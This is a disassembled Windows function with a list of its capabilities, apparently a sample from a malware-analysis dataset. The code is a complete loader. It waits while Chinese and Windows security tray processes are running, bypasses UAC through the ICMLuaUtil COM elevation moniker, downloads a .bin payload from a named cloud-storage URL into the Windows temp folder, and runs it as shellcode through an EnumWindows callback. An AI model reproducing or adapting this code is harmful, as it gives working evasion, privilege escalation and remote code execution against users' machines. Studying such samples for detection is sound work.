Function at 0x401880
Capabilities:
Allocate or change rwx memory
Bypass uac via icmluautil
Contain obfuscated stackstrings
Create http request
Download and write a file
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get token membership
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4034df
mov eax, dword fs:[0]
push eax
sub esp, 0x99c
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
mov dword [ebp - 0x860], esi
call fcn.004015a0
test eax, eax
jne 0x4022eb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x36ee80
jb 0x4022eb
call fcn.00401600
test eax, eax
jne 0x4022eb
call fcn.00401640
test eax, eax
jne 0x4022eb
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x894], 0x360033
mov dword [ebp - 0x890], 0x740030
mov dword [ebp - 0x88c], 0x610072
mov dword [ebp - 0x888], 0x2e0079
mov dword [ebp - 0x884], 0x780065
mov dword [ebp - 0x880], 0x65
mov dword [ebp - 0x87c], 0x360033
mov dword [ebp - 0x878], 0x730030
mov dword [ebp - 0x874], 0x2e0064
mov dword [ebp - 0x870], 0x780065
mov dword [ebp - 0x86c], 0x65
mov dword [ebp - 0x958], 0x510051
mov dword [ebp - 0x954], 0x430050
mov dword [ebp - 0x950], 0x720054
mov dword [ebp - 0x94c], 0x790061
mov dword [ebp - 0x948], 0x65002e
mov dword [ebp - 0x944], 0x650078
mov dword [ebp - 0x940], esi
mov dword [ebp - 0x9a8], 0x650053
mov dword [ebp - 0x9a4], 0x750063
mov dword [ebp - 0x9a0], 0x690072
mov dword [ebp - 0x99c], 0x790074
mov dword [ebp - 0x998], 0x650048
mov dword [ebp - 0x994], 0x6c0061
mov dword [ebp - 0x990], 0x680074
mov dword [ebp - 0x98c], 0x790053
mov dword [ebp - 0x988], 0x740073
mov dword [ebp - 0x984], 0x610072
mov dword [ebp - 0x980], 0x2e0079
mov dword [ebp - 0x97c], 0x780065
mov dword [ebp - 0x978], 0x65
mov dword [ebp - 0x8ac], 0x78006b
mov dword [ebp - 0x8a8], 0x740065
mov dword [ebp - 0x8a4], 0x610072
mov dword [ebp - 0x8a0], 0x2e0079
mov dword [ebp - 0x89c], 0x780065
mov dword [ebp - 0x898], 0x65
mov dword [ebp - 0x974], 0x690048
mov dword [ebp - 0x970], 0x730070
mov dword [ebp - 0x96c], 0x720054
mov dword [ebp - 0x968], 0x790061
mov dword [ebp - 0x964], 0x65002e
mov dword [ebp - 0x960], 0x650078
mov dword [ebp - 0x95c], esi
lea eax, [ebp - 0x894]
push eax
lea ecx, [ebp - 0x93c]
call fcn.00402370
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x93c]
or esi, 1
mov dword [ebp - 0x860], esi
call fcn.004011b0
test al, al
jne 0x401bd5
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x924]
call fcn.00402370
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x924]
or esi, 2
mov dword [ebp - 0x860], esi
call fcn.004011b0
test al, al
jne 0x401bd5
lea eax, [ebp - 0x958]
push eax
lea ecx, [ebp - 0x90c]
call fcn.00402370
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x90c]
or esi, 4
mov dword [ebp - 0x860], esi
call fcn.004011b0
test al, al
jne 0x401bd5
lea eax, [ebp - 0x9a8]
push eax
lea ecx, [ebp - 0x8f4]
call fcn.00402370
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x8f4]
or esi, 8
mov dword [ebp - 0x860], esi
call fcn.004011b0
test al, al
jne 0x401bd5
lea eax, [ebp - 0x8ac]
push eax
lea ecx, [ebp - 0x8dc]
call fcn.00402370
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x8dc]
or esi, 0x10
mov dword [ebp - 0x860], esi
call fcn.004011b0
test al, al
jne 0x401bd5
lea eax, [ebp - 0x974]
push eax
lea ecx, [ebp - 0x8c4]
call fcn.00402370
or esi, 0x20
lea ecx, [ebp - 0x8c4]
mov dword [ebp - 0x860], esi
call fcn.004011b0
mov byte [ebp - 0x861], 0
test al, al
je 0x401bdc
mov byte [ebp - 0x861], 1
mov eax, dword [ebp - 0x860]
test al, 0x20
je 0x401c52
mov ecx, dword [ebp - 0x8b0]
and eax, 0xffffffdf
mov dword [ebp - 0x860], eax
cmp ecx, 8
jb 0x401c35
mov edx, dword [ebp - 0x8c4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb6
push ecx
push edx
call fcn.00402688
mov eax, dword [ebp - 0x860]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x8b4], 0
mov dword [ebp - 0x8b0], 7
mov word [ebp - 0x8c4], cx
mov dword [ebp - 4], 3
test al, 0x10
je 0x401cc9
mov ecx, dword [ebp - 0x8c8]
and eax, 0xffffffef
mov dword [ebp - 0x860], eax
cmp ecx, 8
jb 0x401cac
mov edx, dword [ebp - 0x8dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb6
push ecx
push edx
call fcn.00402688
mov eax, dword [ebp - 0x860]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x8cc], 0
mov dword [ebp - 0x8c8], 7
mov word [ebp - 0x8dc], cx
mov dword [ebp - 4], 2
test al, 8
je 0x401d40
mov ecx, dword [ebp - 0x8e0]
and eax, 0xfffffff7
mov dword [ebp - 0x860], eax
cmp ecx, 8
jb 0x401d23
mov edx, dword [ebp - 0x8f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401d13
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb6
push ecx
push edx
call fcn.00402688
mov eax, dword [ebp - 0x860]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x8e4], 0
mov dword [ebp - 0x8e0], 7
mov word [ebp - 0x8f4], cx
mov dword [ebp - 4], 1
test al, 4
je 0x401db7
mov ecx, dword [ebp - 0x8f8]
and eax, 0xfffffffb
mov dword [ebp - 0x860], eax
cmp ecx, 8
jb 0x401d9a
mov edx, dword [ebp - 0x90c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401d8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb6
push ecx
push edx
call fcn.00402688
mov eax, dword [ebp - 0x860]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x8fc], 0
mov dword [ebp - 0x8f8], 7
mov word [ebp - 0x90c], cx
mov dword [ebp - 4], 0
test al, 2
je 0x401e2e
mov ecx, dword [ebp - 0x910]
and eax, 0xfffffffd
mov dword [ebp - 0x860], eax
cmp ecx, 8
jb 0x401e11
mov edx, dword [ebp - 0x924]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401e01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb6
push ecx
push edx
call fcn.00402688
mov eax, dword [ebp - 0x860]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x914], 0
mov dword [ebp - 0x910], 7
mov word [ebp - 0x924], cx
mov dword [ebp - 4], 0xffffffff
test al, 1
je 0x401e9b
mov ecx, dword [ebp - 0x928]
and eax, 0xfffffffe
mov dword [ebp - 0x860], eax
cmp ecx, 8
jb 0x401e7e
mov edx, dword [ebp - 0x93c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401e74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb6
push ecx
push edx
call fcn.00402688
add esp, 8
xor eax, eax
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x928], 7
mov word [ebp - 0x93c], ax
cmp byte [ebp - 0x861], 0
je 0x401ebc
push 0xbb8
call edi
mov esi, dword [ebp - 0x860]
jmp 0x401aa3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor esi, esi
mov dword [ebp - 0x82c], 0
lea eax, [ebp - 0x858]
mov dword [ebp - 0x858], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x828]
mov dword [ebp - 0x828], esi
push eax
mov word [ebp - 0x824], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401f30
lea eax, [ebp - 0x82c]
push eax
push dword [ebp - 0x858]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x401f38
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x858]
test eax, eax
je 0x401f53
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x858], 0
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x12c
call edi
cmp dword [ebp - 0x82c], 0
jne 0x4020a2
call fcn.004012e0
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [ebp - 0x868], eax
lea ecx, [ebp - 0x854]
mov dword [ebp - 0x85c], 0
mov edx, 0x24
nop dword [eax + eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x401fa0
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov ax, word [0x404298]
lea edi, [ebp - 0x218]
mov dword [ebp - 0x854], 0x24
add edi, 0xfffffffe
movups xmmword [ebp - 0x218], xmm0
mov dword [ebp - 0x840], 4
movups xmm0, xmmword [0x404270]
mov word [ebp - 0x1e0], ax
movups xmmword [ebp - 0x208], xmm0
movups xmm0, xmmword [0x404280]
movups xmmword [ebp - 0x1f8], xmm0
movq xmm0, qword [0x404290]
movq qword [ebp - 0x1e8], xmm0
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402010
mov ecx, 0x13
lea eax, [ebp - 0x85c]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x404440
lea eax, [ebp - 0x854]
push eax
lea eax, [ebp - 0x218]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [ebp - 0x85c]
test eax, eax
jne 0x402071
test esi, esi
je 0x40207d
mov eax, dword [esi]
lea ecx, [ebp - 0x420]
push 5
push 0
push 0
mov eax, dword [eax + 0x24]
push 0
push ecx
push esi
call eax
jmp 0x402075
test esi, esi
je 0x40207d
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [ebp - 0x868], 0
jne 0x40208c
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x320
call eax
mov eax, 1
jmp 0x4022ed
push 0x12c
call edi
push 0x12c
call edi
push 0x12c
call edi
push 0x1e
call edi
push 0x12c
call edi
push 0
push 0
push 0
push 1
push str.File_Downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x868], eax
test eax, eax
jne 0x4020fd
push 0x12c
call edi
push str.Failed_to_initialize_WinINet_library_n
call fcn.00401010
add esp, 4
mov eax, 1
jmp 0x4022ed
push 0
push 0x84000100
push 0
push 0
push str.https:__www1gj1_1321962110.cos.ap_chongqing.myqcloud.com_1gj1_1.bin
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x12c
mov esi, eax
call edi
test esi, esi
jne 0x402147
push str.https:__www1gj1_1321962110.cos.ap_chongqing.myqcloud.com_1gj1_1.bin
push str.Failed_to_open_URL__s_n
call fcn.00401010
add esp, 8
push dword [ebp - 0x868]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [esi + 1]
jmp 0x4022ed
push 0x404438
push str.C:windows_tempClient1.bin
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 0x85c], eax
push 0x12c
call edi
lea eax, [ebp - 0x830]
push eax
push 0x400
lea eax, [ebp - 0x820]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4021c6
mov eax, dword [ebp - 0x830]
test eax, eax
je 0x4021c6
push dword [ebp - 0x85c]
push eax
lea eax, [ebp - 0x820]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
lea eax, [ebp - 0x830]
push eax
push 0x400
lea eax, [ebp - 0x820]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402185
push dword [ebp - 0x85c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push 0x12c
call edi
push 0x12c
call edi
push 0x12c
call edi
push 0x12c
call edi
push 0x40443c
push str.C:windows_tempClient1.bin
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x12c
call eax
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 0x10
mov dword [ebp - 0x858], eax
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push edi
call esi
push dword [ebp - 0x858]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
mov dword [ebp - 0x85c], eax
push 0x12c
call esi
push edi
mov edi, dword [ebp - 0x858]
push 1
push edi
push dword [ebp - 0x85c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push 0x12c
call esi
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x1e
mov edi, eax
call esi
mov eax, dword [ebp - 0x858]
test eax, eax
je 0x4022d0
test edi, edi
jne 0x4022bb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
jmp 0x4022d0
mov ecx, dword [ebp - 0x85c]
test ecx, ecx
je 0x4022a7
push eax
push ecx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
push 0x1e
call esi
push 0
push edi
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x12c
call esi
mov eax, 1
jmp 0x4022ed
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040264a
mov esp, ebp
pop ebp
ret